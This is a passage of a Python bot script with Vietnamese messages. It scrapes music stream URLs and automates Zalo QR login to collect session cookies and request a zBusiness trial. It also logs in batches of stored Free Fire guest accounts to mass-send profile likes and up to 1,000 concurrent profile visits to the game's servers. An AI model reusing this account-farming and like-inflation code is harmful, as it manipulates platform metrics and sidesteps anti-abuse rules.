					print(f"Retry XML request lần {attempt + 1}...")
					time.sleep(2 * (attempt + 1))
					return get_xml_with_retry(attempt + 1)
				raise error

		xml_response = get_xml_with_retry()
		try:
			xml_soup = BeautifulSoup(xml_response.text, 'html.parser')

			stream_url = ""
			location = xml_soup.find('location')
			location_hq = xml_soup.find('locationHQ')

			if location:
				stream_url = location.text
			elif location_hq:
				stream_url = location_hq.text

			if not stream_url:
				return None

			# Xử lý CDATA
			stream_url = stream_url.replace("<![CDATA[", "").replace("]]>", "").strip()

			try:
				urlparse(stream_url)
				return stream_url
			except Exception:
				print(f"Stream URL không hợp lệ: {stream_url}")
				return None

		except Exception:
			print(f"Stream URL không hợp lệ: {stream_url}")
			return None

		return stream_url

	except Exception as error:
		print(f"Lỗi khi lấy stream URL: {error}")

		if retry_count > 0:
			print(f"Thử lại toàn bộ quá trình lần {4 - retry_count}...")
			time.sleep(2)
			return get_stream_url(song_id, song_link, retry_count - 1)
		return None

def get_song_info(song_data, retry_count=3):
	try:
		headers = {
			"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
			"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
			"Accept-Language": "vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7",
			"Accept-Encoding": "gzip, deflate, br",
			"Connection": "keep-alive",
			"Cache-Control": "max-age=0",
			"Referer": "https://www.nhaccuatui.com/"
		}

		response = requests.get(song_data["songLink"], headers=headers, timeout=10)
		final_url = response.url

		soup = BeautifulSoup(response.text, 'html.parser')

		stream_url = get_stream_url(song_data["id"], final_url)

		title = (soup.select_one(".name_title") or soup.select_one(".title_song")).text.strip()

		return {
			"title": title,
			"artistsNames": song_data["artistsNames"],
			"thumbnail": song_data["thumbnail"],
			"streamUrl": stream_url
		}

	except Exception as error:
		print(f"Lỗi khi lấy thông tin bài hát: {error}")

		if retry_count > 0:
			print(f"Thử lại lần {4 - retry_count}...")
			time.sleep(1)
			return get_song_info(song_data, retry_count - 1)
		return None

def make_regex(text: str, encryptKey: str):
	media_info = {}
	list_key = re.findall(r'<(\w+)>', text)
	if 'tracklist' in list_key or 'track' in list_key or 'type' in list_key:
		list_key.remove('tracklist')
		list_key.remove('track')
		list_key.remove('type')
	for key in list_key:
		list_info = re.findall(rf'<{key}>\s*(?:<!\[CDATA\[(.*?)\]\]>\s*|([^<]+))</{key}>', text)
		info = next((match[0] if match[0] else match[1].strip() for match in list_info if match[0] or match[1]), '')
		if key == 'key':
			media_info['songKey'] = info
			continue
		if key == 'location':
			_key_ = re.search(r'https:\/\/.*?([^\/-]+).mp3\?', info)
			media_info['key'] = _key_.group(1)

		media_info[key] = info
	media_info['encryptKey'] = encryptKey
	return media_info

def requests_song(song_data, mode='', dict_return={}, i=0):
	res = requests.get(song_data["songLink"]).text
	n = re.search(r'player.peConfig.xmlURL = "(.*?)";', res)
	if n: 
		url_info = n.group(1)
	else: 
		url_info = None
	if url_info:
		encryptKey = url_info.split('=')[-1]
		all_info = requests.get(url_info).text
		if 'playlist' in song_data["songLink"]:
			playlist_name = re.search(r'Playlist <b>(.*?)</b>', res)
			if playlist_name: 
				playlist_name = playlist_name.group(1)
			else: 
				playlist_name = encryptKey[:5]

			print(encryptKey)
			media = playlist(all_info, encryptKey, song_data["songLink"], playlist_name)
			print(media)
			#dict_info['data']['playlist'].append(media)
			#return {'type': 'playlist', 'data': media}
			if mode == 'normal':
				dict_return['data']['playlist'].append(media)
			elif mode == 'top_100':
				return {'type': 'playlist', 'data': media}
		else:
			media = make_regex(all_info, encryptKey)
			print(media)
			if mode == 'top5':
				dict_return[i]['song'].append(media)
			elif mode == 'normal':
				dict_return['data']['song'].append(media)
			return dict_return
			# return {'type': 'song', 'data': media}
			#dict_info['data']['song'].append(media)
		#list_info.append(info)

def playlist(text: str, encryptKey: str, url: str, playlist_name: str):
	media_playlist = {'playlist': playlist_name, 'url': url, 'list_song': []}
	all_track = re.findall(r'<track>(.*?)</track>', text, re.DOTALL)
	for track in all_track:
		info = make_regex(track, encryptKey)
		media_playlist['list_song'].append(info)
	return media_playlist

def regImei():
	return f"{str(uuid.uuid4())}-{secrets.token_hex(16)}"

def parse_cookies(cookie_str: str) -> dict:
	cookies = {}
	for cookie_block in cookie_str.split(','):
		name_value, *_ = cookie_block.split(';', 1)
		name_value = name_value.strip()
		if not name_value:
			continue
		if '=' in name_value:
			name, value = name_value.split('=', 1)
			cookies[name] = value
	return cookies

def getCookiesLogin():
	url = "https://id.zalo.me/account"
	params = {
		"continue": "https://zalo.me/pc"
	}
	response = requests.get(url, headers=headers, params=urlencode(params), timeout=10)
	cookies = parse_cookies(response.headers.get('Set-Cookie'))
	cookies['_zlang'] = 'vn'
	match = re.search(r"\b\d+\.\d+\.\d+\b", response.text)
	v = match.group(0)
	verifyClient(v, cookies)
	code, token, image = regQrLogin(v, cookies)
	return (code, token, image, v, cookies)

def loginInfo(v, cookies):
	url = "https://id.zalo.me/account/logininfo"
	payload = {
		"continue": "https://zalo.me/pc",
		"v": v
	}
	response = requests.post(url, data=payload, headers=headers, cookies=cookies)

def verifyClient(v, cookies):
	url = "https://id.zalo.me/account/verify-client"
	payload = {
		"type": "device",
		"continue": "https://zalo.me/pc",
		"v": v
	}
	response = requests.post(url, data=payload, headers=headers, cookies=cookies)

def regQrLogin(v, cookies):
	url = "https://id.zalo.me/account/authen/qr/generate"
	payload = {
		"continue": "https://zalo.me/pc",
		"v": v
	}
	response = requests.post(url, data=payload, headers=headers, cookies=cookies)
	image = response.json()['data']['image'].replace("data:image/png;base64,", "")
	return (response.json()['data']['code'], response.json()['data']['token'], image)

def waitScanQrCode(code, v, cookies):
	url = "https://id.zalo.me/account/authen/qr/waiting-scan"
	payload = {
		"code": code,
		"continue": "https://zalo.me/pc",
		"v": v
	}
	response = requests.post(url, data=payload, headers=headers, cookies=cookies, timeout=100000000)
	return response.json()

def configQr(code, cookies, v):
	url = "https://id.zalo.me/account/authen/qr/waiting-confirm"
	payload = {
		"code": code,
		"gToken": "",
		"gAction": "CONFIRM_QR",
		"continue": "https://chat.zalo.me/",
		"v": v
	}
	response = requests.post(url, data=payload, headers=headers, cookies=cookies, timeout=100000000)
	return response

def checkSession(cookies):
	url = "https://id.zalo.me/account/checksession?continue\u003dhttps%3A%2F%2Fchat.zalo.me%2F"
	while True:
		response = requests.get(url, headers=headers, cookies=cookies, timeout=100000000, allow_redirects=False)
		if response.status_code == 302:
			url = response.headers.get("Location")
			if url == "https://chat.zalo.me/":
				break

	return parse_cookies(response.headers.get('Set-Cookie'))

def parse_zbusiness_error(response_json):
	code = response_json.get('error_code')
	if code is None:
		return "Không có mã lỗi trong response"
	messages = {
		2001: "Nâng cấp gói zBusiness không thành công: Tài khoản chưa đủ điều kiện. Liên hệ OA zBusiness để được hỗ trợ.",
		2003: "Đăng ký không thành công: Bạn có thể chờ hết hạn gói hiện tại để đăng ký gói này.",
		2004: "Vui lòng thực hiện định danh tài khoản Zalo để tiếp tục.",
		2005: "Vui lòng thực hiện lại định danh tài khoản Zalo để tiếp tục.",
		2008: "Nâng cấp gói zBusiness không thành công: Tài khoản đang dùng dịch vụ zStyle nên chưa thể nâng cấp.",
		2009: "Đăng ký không thành công: Bạn không nằm trong danh sách được trải nghiệm chương trình.",
		2010: "Thực hiện không thành công: Bạn đã mua gói dùng thử zBusiness Pro trước đó.",
		2013: "Thực hiện không thành công: Bạn đã mua gói ưu đãi zBusiness Pro trước đó.",
		2019: "Nâng cấp gói zBusiness không thành công: Hạn sử dụng gói đã đạt giới hạn tối đa. Liên hệ OA zBusiness để kiểm tra.",
		200:  "Phiên đăng nhập đã hết hạn: Vui lòng đăng nhập lại để tiếp tục.",
		2017: "Chương trình đã kết thúc: Cùng đón chờ ưu đãi tiếp theo của zBusiness nhé!",
		2015: "Đã có lỗi xảy ra: Vui lòng đóng cửa sổ, truy cập lại và thử lại.",
		2020: "Yêu cầu cần xử lý đặc biệt: kiểm tra trạng thái isPro / errorCode.",
		2022: "Yêu cầu cần xử lý đặc biệt: kiểm tra trạng thái isPro / errorCode.",
		2021: "Nâng cấp không thành công: Định danh tài khoản Zalo thất bại trước đó. Thử lại hoặc liên hệ OA zBusiness để được hỗ trợ.",
		2023: "Yêu cầu nâng cấp không thành công: Tài khoản chưa đủ điều kiện. Kiểm tra tin nhắn từ OA zBusiness để biết chi tiết.",
		2024: "Nâng cấp gói zBusiness không thành công: Chỉ có thể đăng ký khi đủ 18 tuổi.",
		2025: "Nâng cấp gói zBusiness không thành công: Cần số điện thoại Việt Nam (+84) để đăng ký.",
		2026: "Nâng cấp gói zBusiness không thành công: Tài khoản phải được tạo ít nhất 14 ngày.",
		2027: "Thao tác thất bại: Bạn đã đăng ký zBusiness Pro ở cổng thanh toán khác.",
	}
	
	try:
		code_int = int(code)
	except Exception:
		return f"Mã lỗi không hợp lệ: {code}"
	
	norm = abs(code_int)
	msg = messages.get(norm)
	if msg:
		return msg
	
	if code_int == 0:
		return "Up business thành công"
	if code_int == -2003 or code_int == 2003:
		return messages.get(2003)
	
	return f"Lỗi không xác định (error_code={code_int})"
	
def upBusiness(cookies):
	headers = {
		"sec-ch-ua": "\"Not A(Brand\";v=\"8\", \"Chromium\";v=\"132\"",
		"sec-ch-ua-mobile": "?0",
		"sec-ch-ua-platform": "\"Linux\"",
		"upgrade-insecure-requests": "1",
		"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36",
		"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
		"Sec-Fetch-Site": "same-site",
		"Sec-Fetch-Mode": "navigate",
		"Sec-Fetch-User": "?1",
		"Sec-Fetch-Dest": "document",
		"Referer": "https://business.zbox.vn/",
		"Accept-Encoding": "gzip, deflate, br",
		"Accept-Language": "vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5"
	}
	response = requests.get("https://zbox.vn/login", headers=headers, allow_redirects=False)
	# print("Response headers:")
	# print(response.headers.get("Location"))
	response = requests.get(response.headers.get("Location"), headers=headers, cookies=cookies, allow_redirects=False)
	# print(response.headers.get("Location"))
	if "id.zalo.me" in response.headers.get("Location"):
		return "cút ki die r"
	response = requests.get(response.headers.get("Location"), headers=headers, allow_redirects=False)
	# print(response.headers)
	matches = re.findall(r'(_zbsid|_zssid)=([^;]+)', response.headers.get('Set-Cookie'))
	cookies = {name: val for name, val in matches}
	zbsid = cookies.get('_zbsid')
	zssid = cookies.get('_zssid')
	cookies = {
		"_zbsid": zbsid,
		"_zssid": zssid
	}
	response = requests.get(f"https://zbox.vn/api/get-user-info?time={time.time() * 1000}", headers=headers, cookies=cookies)
	# print(f'USER: {response.json()["data"]["name"]} - {response.json()["data"]["userId"]}')
	header = {
		"Host": "business.zbox.vn",
		"sec-ch-ua": "\"Not A(Brand\";v=\"8\", \"Chromium\";v=\"132\"",
		"sec-ch-ua-platform": "\"Linux\"",
		"sec-ch-ua-mobile": "?0",
		"user-agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36",
		"content-type": "application/json",
		"accept": "*/*",
		"origin": "https://business.zbox.vn",
		"sec-fetch-site": "same-origin",
		"sec-fetch-mode": "cors",
		"sec-fetch-dest": "empty",
		"referer": "https://business.zbox.vn/?tag=trial",
		"accept-encoding": "gzip, deflate, br",
		"accept-language": "vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5"
	}
	payload = {
		"userId": response.json()["data"]["userId"],
		"productId": "zap-z8559n76",
		"tracking": {
			"ref": "business.zbox.vn",
			"utm_source": "",
			"utm_medium": "",
			"utm_campaign": ""
		}
	}
	response = requests.post("https://business.zbox.vn/api/req-payment", headers=header, cookies=cookies, json=payload)
	return parse_zbusiness_error(response.json())

async def _LikeProfile(payload, token, semaphore, session):
	try:
		headers = {
			"Expect": "100-continue",
			"Authorization": "Bearer " + token,
			"X-Unity-Version": "2018.4.11f1",
			"X-GA": "v1 1",
			"ReleaseVersion": "OB51",
			"Content-Type": "application/x-www-form-urlencoded",
			"Content-Length": str( len(bytes.fromhex(payload)) ),
			"User-Agent": "Dalvik/2.1.0 (Linux; U; Android 10; RMX1821 Build/QP1A.190711.020)",
			"Host": "clientbp.ggblueshark.com",
			"Connection": "Close",
			"Accept-Encoding": "gzip"
		}

		encrypt_data = bytes.fromhex(payload)

		async with semaphore:
			async with session.post("https://clientbp.ggblueshark.com/LikeProfile", headers=headers, data=encrypt_data, ssl=False) as response:
				print(await response.read())
				response = response.status if response.status == 200 else await response.read()

				return response

	except Exception as e:
		return str(e)


async def LikeProfile(uid, region, tokens):
	success, error = 0, 0

	fields = {
		1: int(uid),
		2: str(region).upper()
	}

	payload = vrxx.create_protobuf_packet(fields)
	payload = payload.hex()
	payload = vrxx.Encrypt_API(payload)

	connect = aiohttp.TCPConnector(limit_per_host=100, limit=0, ttl_dns_cache=300)
	session = aiohttp.ClientSession(connector=connect)
	semaphore = asyncio.Semaphore(100)

	tasks = [_LikeProfile(payload, token, semaphore, session) for token in tokens]
	results = await asyncio.gather(*tasks)

	for result in results:
		if result == 200:
			success += 1

		else:
			error += 1

	await session.close()
	connect.close()

	return success, error


async def _VisitProfile(payload, token, semaphore, session):
	try:
		headers = {
			"User-Agent": "Dalvik/2.1.0 (Linux; U; Android 10; RMX1821 Build/QP1A.190711.020)",
			"Connection": "Close",
			"Accept-Encoding": "gzip",
			"Content-Type": "application/x-www-form-urlencoded",
			"Expect": "100-continue",
			"Authorization": "Bearer " + token,
			"X-Unity-Version": "2018.4.11f1",
			"X-GA": "v1 1",
			"ReleaseVersion": "OB51"
		}

		encrypt_data = bytes.fromhex(payload)

		async with semaphore:
			async with session.post("https://clientbp.ggblueshark.com/GetPlayerPersonalShow", headers=headers, data=encrypt_data, ssl=False) as response:
				response = 0 if response.status != 200 else response.status

				return response

	except:
		return False


async def VisitProfile(uid, token, n):
	success, error = 0, 0
	fields = {
		1: int(uid),
		2: 9,
		3: 1
	}

	payload = vrxx.create_protobuf_packet(fields)
	payload = payload.hex()
	payload = vrxx.Encrypt_API(payload)

	connect = aiohttp.TCPConnector(limit_per_host=1000, limit=0, ttl_dns_cache=300)
	semaphore = asyncio.Semaphore(1000)
	session = aiohttp.ClientSession(connector=connect)

	tasks = [_VisitProfile(payload, token, semaphore, session) for _ in range(n)]
	results = await asyncio.gather(*tasks)

	for result in results:
		if result == 200:
			success += 1

		else:
			error += 1

	await session.close()
	connect.close()

	return success, error

def get_tokens():
	listToken = []
	tokens = dataAccFifi("fifi.json").load_data()
	for _, _, token in tokens:
		listToken.append(token)
	return listToken

def update_tokens(num_token=0):
	try:
		accounts = dataAccFifi("fifi.json").load_data()
		tokensList = TokenRetriever(accounts)
		tokensList = tokensList[:num_token] if num_token else tokensList
		dataAccFifi("fifi.json").update_tokens(tokensList)

	except Exception:
		pass
		# print(f"[!] Can't Update Token List! {e}")

def GetPlayerPersonalShow(uid, token):
	try:
		fields = {
			1: int(uid),
			2: 9,
			3: 1
		}

		payload = vrxx.create_protobuf_packet(fields)
		payload = payload.hex()
		payload = vrxx.Encrypt_API(payload)
		payload = bytes.fromhex(payload)

		headers = {
			"User-Agent": "Dalvik/2.1.0 (Linux; U; Android 10; RMX1821 Build/QP1A.190711.020)",
			"Connection": "Close",
			"Accept-Encoding": "gzip",
			"Content-Type": "application/x-www-form-urlencoded",
			"Expect": "100-continue",
			"Authorization": "Bearer " + token,
			"X-Unity-Version": "2018.4.11f1",
			"X-GA": "v1 1",
			"ReleaseVersion": "OB51"
		}

		response = requests.Session().post("https://clientbp.ggblueshark.com/GetPlayerPersonalShow", headers=headers, data=payload)

		return response.content

	except Exception as e:
		print(e)
		return False


def CheckBanned(uid):
	banned_period = {
		1: "Banned within this week.",
		2: "Banned within this month.",
		3: "Banned within the last three months.",
		5: "Banned within the last year.",
		6: "Ban period is unknown."
	}

	params = {
		"lang": "vn",
		"uid": str(uid)
	}

	headers = {
		"User-Agent": "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Mobile Safari/537.36",
		"Accept": "application/json, text/plain, */*",
		"x-requested-with": "B6FksShzIgjfrYImLpTsadjS86sddhFH",
		"sec-ch-ua-mobile": "?1",
		"sec-ch-ua-platform": "\"Android\"",
		"sec-fetch-site": "same-origin",
		"sec-fetch-mode": "cors",
		"sec-fetch-dest": "empty",
		"referer": "https://ff.garena.com/vn/support",
		"accept-language": "vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5",
		"Cookie": "_gid=GA1.2.1024919953.1729411733; _ga_57E30E1PMN=GS1.2.1729411733.1.1.1729411813.0.0.0; _ga_KE3SY7MRSD=GS1.1.1729411750.3.1.1729412507.0.0.0; _ga_RF9R6YT614=GS1.1.1729411752.3.1.1729412507.0.0.0; _ga=GA1.1.956013504.1727393790"
	}

	try:
		response = requests.Session().get("https://ff.garena.com/api/antihack/check_banned", params=params, headers=headers)
		response = response.json()
		if not response.get("status") or response["status"] != "success":
			return (None, response.get("msg"))

		data = response.get("data")
		if not data:
			return (None, response.get("msg", "Banned Account Information Not Found"))

		is_banned = data.get("is_banned")
		period = data.get("period", 0)

		if not is_banned:
			return (False, None)

		return (True, banned_period.get(period))

	except Exception as e:
		return (None, str(e))


def GetGuestToken(guest_data):
	try:
	
		if len(guest_data) == 2:
			uid, password = guest_data
		elif len(guest_data) >= 2:
			uid, password, *_ = guest_data

		guest_access = vrxx.getGuestAccessToken(uid, password)
		access_token = guest_access["access_token"]
		open_id = guest_access["open_id"]
		
		if not access_token or not open_id:
			return False

		token = vrxx.MajorLogin(access_token, open_id)
		# print(token)
		if not token:
			return None

		return (uid, token)

	except Exception as e:
		# return None
		traceback.print_exc()
		return None 


def TokenRetriever(token_list):
	tokens = []
	with ThreadPoolExecutor() as executor:
		results = list(executor.map(GetGuestToken, token_list))

	tokens = [result for result in results if result is not None]

	return tokens


def getRank(points, rank_type=None):
	if rank_type.upper() == "BR":
		if 1000 <= points < 1100:
			br_rank = "Bronze 1" + f" ({points})"
		elif 1100 <= points < 1200:
			br_rank = "Bronze 2" + f" ({points})"
		elif 1200 <= points < 1300:
			br_rank = "Bronze 3" + f" ({points})"
		elif 1300 <= points < 1400:
			br_rank = "Silver 1" + f" ({points})"
		elif 1400 <= points < 1500:
			br_rank = "Silver 2" + f" ({points})"
		elif 1500 <= points < 1600:
			br_rank = "Silver 3" + f" ({points})"
		elif 1600 <= points < 1725:
			br_rank = "Gold 1" + f" ({points})"
		elif 1725 <= points < 1850:
			br_rank = "Gold 2" + f" ({points})"
		elif 1850 <= points < 1975:
			br_rank = "Gold 3" + f" ({points})"
		elif 1975 <= points < 2100:
			br_rank = "Gold 4" + f" ({points})"
		elif 2100 <= points < 2225:
			br_rank = "Platinum 1" + f" ({points})"
		elif 2225 <= points < 2350:
			br_rank = "Platinum 2" + f" ({points})"
		elif 2350 <= points < 2475:
			br_rank = "Platinum 3" + f" ({points})"
		elif 2475 <= points < 2600:
			br_rank = "Platinum 4" + f" ({points})"
		elif 2600 <= points < 2750:
			br_rank = "Diamond 1" + f" ({points})"
		elif 2750 <= points < 2900:
			br_rank = "Diamond 2" + f" ({points})"
		elif 2900 <= points < 3050:
			br_rank = "Diamond 3" + f" ({points})"
		elif 3050 <= points < 3200:
			br_rank = "Diamond 4" + f" ({points})"
		elif 3200 <= points < 3500:
			br_rank = "Heroic 1★" + f" ({points})"
		elif 3500 <= points < 4000:
			br_rank = "Heroic 2★" + f" ({points})"
		elif 4000 <= points < 4600:
			br_rank = "Elite Heroic 3★" + f" ({points})"
		elif 4600 <= points < 5200:
			br_rank = "Elite Heroic 4★" + f" ({points})"
		elif 5200 <= points < 6000:
			br_rank = "Elite Heroic 5★" + f" ({points})"
		elif 6000 <= points < 6800:
			br_rank = "Master 1★" + f" ({points})"
		elif 6800 <= points < 7700:
			br_rank = "Master 2★" + f" ({points})"
		elif 7700 <= points < 8700:
			br_rank = "Elite Master 3★" + f" ({points})"
		elif 8700 <= points < 9800:
			br_rank = "Elite Master 4★" + f" ({points})"
		elif 9800 <= points:
			br_rank = "Elite Master 5★" + f" ({points})"
		else:
			br_rank = "Undefined"

		return br_rank

	elif rank_type.upper() == "CS":
		if points == 0:
			cs_rank = "Bronze 1 (0 ★)"
		elif points == 1:
			cs_rank = "Bronze 1 (1 ★)"
		elif points == 2:
			cs_rank = "Bronze 1 (2 ★)"
		elif points == 3:
			cs_rank = "Bronze 1 (3 ★)"
		elif points == 4:
			cs_rank = "Bronze 2 (1 ★)"
		elif points == 5:
			cs_rank = "Bronze 2 (2 ★)"
		elif points == 6:
			cs_rank = "Bronze 2 (3 ★)"
		elif points == 7:
			cs_rank = "Bronze 3 (1 ★)"
		elif points == 8:
			cs_rank = "Bronze 3 (2 ★)"
		elif points == 9:
			cs_rank = "Bronze 3 (3 ★)"
		elif points == 10:
			cs_rank = "Silver 1 (1 ★)"
		elif points == 11:
			cs_rank = "Silver 1 (2 ★)"
		elif points == 12:
			cs_rank = "Silver 1 (3 ★)"
		elif points == 13:
			cs_rank = "Silver 1 (4 ★)"
		elif points == 14:
			cs_rank = "Silver 2 (1 ★)"
		elif points == 15:
			cs_rank = "Silver 2 (2 ★)"
		elif points == 16:
			cs_rank = "Silver 2 (3 ★)"
		elif points == 17:
			cs_rank = "Silver 2 (4 ★)"
		elif points == 18:
			cs_rank = "Silver 3 (1 ★)"
		elif points == 19:
			cs_rank = "Silver 3 (2 ★)"
		elif points == 20:
			cs_rank = "Silver 3 (3 ★)"
		elif points == 21:
			cs_rank = "Silver 3 (4 ★)"
		elif points == 22:
			cs_rank = "Gold 1 (1 ★)"
		elif points == 23:
			cs_rank = "Gold 1 (2 ★)"
		elif points == 24:
			cs_rank = "Gold 1 (3 ★)"
		elif points == 25:
			cs_rank = "Gold 1 (4 ★)"
		elif points == 26:
			cs_rank = "Gold 2 (1 ★)"
		elif points == 27:
			cs_rank = "Gold 2 (2 ★)"
		elif points == 28:
			cs_rank = "Gold 2 (3 ★)"
		elif points == 29:
			cs_rank = "Gold 2 (4 ★)"
		elif points == 30:
			cs_rank = "Gold 3 (1 ★)"
		elif points == 31:
			cs_rank = "Gold 3 (2 ★)"
		elif points == 32:
			cs_rank = "Gold 3 (3 ★)"
		elif points == 33:
			cs_rank = "Gold 3 (4 ★)"
		elif points == 34:
			cs_rank = "Gold 4 (1 ★)"
		elif points == 35:
			cs_rank = "Gold 4 (2 ★)"
		elif points == 36:
			cs_rank = "Gold 4 (3 ★)"
		elif points == 37:
			cs_rank = "Gold 4 (4 ★)"
		elif points == 38:
			cs_rank = "Platinum 1 (1 ★)"
		elif points == 39:
			cs_rank = "Platinum 1 (2 ★)"
		elif points == 40:
			cs_rank = "Platinum 1 (3 ★)"
		elif points == 41:
			cs_rank = "Platinum 1 (4 ★)"
		elif points == 42:
			cs_rank = "Platinum 1 (5 ★)"
		elif points == 43:
			cs_rank = "Platinum 2 (1 ★)"
		elif points == 44:
			cs_rank = "Platinum 2 (2 ★)"
		elif points == 45:
			cs_rank = "Platinum 2 (3 ★)"
		elif points == 46:
			cs_rank = "Platinum 2 (4 ★)"
		elif points == 47:
			cs_rank = "Platinum 2 (5 ★)"
		elif points == 48:
			cs_rank = "Platinum 3 (1 ★)"
		elif points == 49:
			cs_rank = "Platinum 3 (2 ★)"
		elif points == 50:
			cs_rank = "Platinum 3 (3 ★)"
		elif points == 51:
			cs_rank = "Platinum 3 (4 ★)"
		elif points == 52:
			cs_rank = "Platinum 3 (5 ★)"
		elif points == 53:
			cs_rank = "Platinum 4 (1 ★)"
		elif points == 54:
			cs_rank = "Platinum 4 (2 ★)"
		elif points == 55:
			cs_rank = "Platinum 4 (3 ★)"
		elif points == 56:
			cs_rank = "Platinum 4 (4 ★)"
		elif points == 57:
			cs_rank = "Platinum 4 (5 ★)"
		elif points == 58:
			cs_rank = "Diamond 1 (1 ★)"
		elif points == 59:
			cs_rank = "Diamond 1 (2 ★)"
		elif points == 60:
			cs_rank = "Diamond 1 (3 ★)"
		elif points == 61:
			cs_rank = "Diamond 1 (4 ★)"
		elif points == 62:
			cs_rank = "Diamond 1 (5 ★)"
		elif points == 63:
			cs_rank = "Diamond 2 (1 ★)"
		elif points == 64:
			cs_rank = "Diamond 2 (2 ★)"
		elif points == 65:
			cs_rank = "Diamond 2 (3 ★)"
		elif points == 66:
			cs_rank = "Diamond 2 (4 ★)"
		elif points == 67:
			cs_rank = "Diamond 2 (5 ★)"
		elif points == 68:
			cs_rank = "Diamond 3 (1 ★)"
		elif points == 69:
			cs_rank = "Diamond 3 (2 ★)"
		elif points == 70:
			cs_rank = "Diamond 3 (3 ★)"
		elif points == 71:
			cs_rank = "Diamond 3 (4 ★)"
		elif points == 72:
			cs_rank = "Diamond 3 (5 ★)"
		elif points == 73:
			cs_rank = "Diamond 4 (1 ★)"
		elif points == 74:
			cs_rank = "Diamond 4 (2 ★)"
		elif points == 75:
			cs_rank = "Diamond 4 (3 ★)"
		elif points == 76:
			cs_rank = "Diamond 4 (4 ★)"
		elif points == 77:
			cs_rank = "Diamond 4 (5 ★)"
		elif 78 <= points < 127:
			cs_rank = points - 77
			cs_rank = "Heroic (" + str(cs_rank) + " ★)"
		elif 127 <= points < 177:
			cs_rank = points - 77
			cs_rank = "Master (" + str(cs_rank) + " ★)"
		elif 177 <= points:
			cs_rank = points - 77
			cs_rank = "Elite Master (" + str(cs_rank) + " ★)"
		else:
			cs_rank = "Undefined"

		return cs_rank


def getSkillName(skill_id):
	skillList = {}
	def add_key_value(keys, value):
		for key in keys:
			skillList[key] = value

	skillListData = {
		10: "Olivia (P)",
		20: "Kelly (P)",
		30: "Ford (P)",
		40: "Andrew (P)",
		50: "Nikita (P)",
		60: "Misha (P)",
		70: "Maxim (P)",
		80: "Kla (P)",
		90: "Paloma (P)",
		100: "Miguel (P)",
		110: "Caroline (P)",
		120: "Wukong (A)",
		130: "Antonio (P)",
		140: "Moco (P)",
		150: "Hayato (P)",
		170: "Laura (P)",
		180: "Rafael (P)",
		190: "A124 (A)",
		200: "Joseph (P)",
		210: "Shani (P)",
		220: "Alok (A)",
		230: "Alvaro (P)",
		240: "Notora (P)",
		250: "Kelly \"The Swift\" (P)",
		260: "Steffie (A)",
		270: "Jota (P)",
		280: "Kapella (P)",
		290: "Luqueta (P)",
		300: "Wolfrahh (P)",
		310: "Clu (A)",
		320: "Hayato \"Firebrand\" (P)",
		330: "Jai (P)",
		340: "K (A)",
		350: "Dasha (P)",
		360: "Sverr (A)",
		370: "A-Patroa",
		380: "Chrono (A)",
		390: "Snowelle (P)",
		400: "Skyler (A)",
		410: "Shirou (P)",
		420: "Andrew \"The Fierce\" (P)",
		430: "Maro (P)",
		440: "Xayne (A)",
		450: "D-bee (P)",
		460: "Thiva (P)",
		470: "Dimitri (A)",
		480: "Moco \"Enigma\" (P)",
		490: "Leon (P)",
		500: "Otho (P)",
		510: "Jai's Microchip (P)",
		520: "Nairi (P)",
		530: "Luna (P)",
		540: "Kenta (A)",
		550: "Homer (A)",
		560: "Iris (A)",
		570: "J.Biebs (P)",
		580: "Tatsuya (A)",
		590: "Stunt Double",
		600: "Santino (A)",
		610: "J.Biebs' Microchip (P)",
		620: "Orion (A)",
		630: "Alvaro \"Rageblast\" (P)",
		650: "Sonia (P)",
		660: "Suzy (P)",
		670: "Ignis (A)",
		680: "Ryden (A)",
		690: "Kairos (A)",
		700: "Kassie (A)",
		2201: "Awakened Alok (A)"
	}

	for skillId, skillName in skillListData.items():
		skill = [int(f"{skillId}{i+1}") for i in range(6)]
		add_key_value(skill, skillName)

	return skillList.get(skill_id)


def load_image_from_url(url):
	try:
		response = requests.get(url)
		image = Image.open(BytesIO(response.content))

		return image
	except:
		return False


def generateOutfitImg(outfitList, animationId=None, weaponId=None):
	itemsId = json.load( open("./core/OB46-Item-ID.json") )
	baseUrl = "https://freefiremobile-a.akamaihd.net/common/Local/PK/FF_UI_Icon/"

	hairIcon = "Icon_avatar_default_Hair"
	maskIcon = "Icon_avatar_default_Face"
	faceIcon = "Icon_avatar_default_headadditive"
	shirtIcon = "Icon_avatar_cos_top_default"
	pantsIcon = "Icon_avatar_cos_bottom_default"
	shoesIcon = "Icon_avatar_cos_shoe_default"
	bundleIcon = None

	outfitForm = Image.open("./assets/Images/OutfitForm.png")
	for outfit in outfitList:
		outfit, outfitId = next(((item["Icon_Name"], item["Item_ID"]) for item in itemsId if item["Item_ID"] == str(outfit)), ("", ""))
		print(outfit)
		if "_hair_" in outfit.lower():
			hairIcon = outfit
		elif "_accessory_" in outfit.lower():
			maskIcon = outfit
		elif "_headadditive_" in outfit.lower():
			faceIcon = outfit
		elif next(item not in outfit.lower() for item in ["_top", "_top_cos", "_shirt_cos", "_tshirt", "_shirt"]) and "_cos_" in outfit.lower() and outfitId.startswith("203"):
			bundleIcon = outfit
		elif any(item in outfit.lower() for item in ["_top", "_top_cos", "_shirt_cos", "_tshirt", "_shirt"]) and outfitId.startswith("203") or outfitId.startswith("203"):
			shirtIcon = outfit
		elif outfitId.startswith("204"):
			pantsIcon = outfit
		elif outfitId.startswith("205"):
			shoesIcon = outfit


	hairIcon = load_image_from_url(baseUrl + hairIcon + ".png")
	if not hairIcon:
